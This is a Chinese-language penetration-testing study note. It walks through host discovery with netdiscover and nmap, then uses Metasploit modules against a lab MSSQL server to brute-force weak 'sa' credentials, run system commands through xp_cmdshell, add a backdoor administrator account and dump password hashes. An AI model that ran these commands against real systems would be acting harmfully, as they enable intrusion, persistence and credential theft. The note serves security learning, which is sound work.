本文将持续更新。系统记录内网渗透学习。
声明:本文仅研究学习所用,参考文章的一切活动均与本人无关。
内网服务探测
Netdiscover 探测活动主机
- 简介
专用的二层发现工具。拥有主动和被动发现两种方式。
- 参数
参数 | 意义 |
---|---|
-i 网卡 | 指定监听的网卡 |
-r range | 指定IP段 |
-l filename | 从文件中读取IP段 |
-p | 被动模式 |
-t | ARP发送间隔 |
-c | 发包数量 |
- 使用举例
netdiscover i eth0 -r 192.168.3.0/24 #主动探测IP:192.168.3.0/24段存活的主机
netdiscover -p
使用Namp探测主机开放服务
由于已经使用netdiscover
探测指定主机的使用Pn参数跳过Pn检测。具体使用参数说明在另一篇文章里讲.
nmap -sV -Pn 192.168.3.31
MSF攻击内网服务
MSF攻击内网SQL SERVER服务
爆破Mssql弱口令
- 搜索mssql爆破payload
search mssql_login
- 使用弱口令爆破payload
use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.3.31
run
- 如果提示:
[*] Error: 192.168.109.139: Metasploit::Framework::LoginScanner::Invalid Cred details can’t be blank, Cred details can’t be blank (Metasploit::Framework::LoginScanner::MSSQL)
则说明mssql不是默认密码需要指定字典进行爆破:
use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.3.31
set user_file /root/user.txt
set pass_file /root/pass.txt
run
- 爆破成功sa密码为admin
枚举Mssql配置信息
- 搜索枚举Mssql配置信息payload
search mssql_enum
- 使用Mssql-enum payload
use auxiliary/admin/mssql_enum
set username sa
set password admin
set rhosts 192.168.3.31
run
- 这样可以看到mssql开放的哪些功能能够供我们利用,例如比较重要的就是xp_cmdshell能够直接继承mssql的权限执行系统命令:
执行系统命令
xp_cmdshell 执行命令
使用该模块时候如果xp_cmdshell
没有启动将自动激活
- 搜索mssql exec攻击脚本
search mssql_exec
- 使用mssql_exec攻击脚本
use auxiliary/admin/mssql_exec
set username sa
set password admin
set rhosts 192.168.3.31
set cmd chcp 65001&whoami
run
- 注意chcp 65001改变字符编码解决乱码问题,可以看到返回结果是system,直接添加新用户即可。
- 增加用户
set cmd chcp 65001&net user test abc!123456 /add
run
- 提升权限
set cmd chcp 65001&net localgroup administrators test /add
使用mssql_hashdump 抓取hash
use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 192.168.3.30
set password admin
set username sa
run
执行sql语句
use auxiliary/admin/mssql/mssql_sql
set rhosts 192.168.3.30
set password admin
set username sa
set sql set sql Select Name FROM Master.dbo.SysDatabases orDER BY Name
run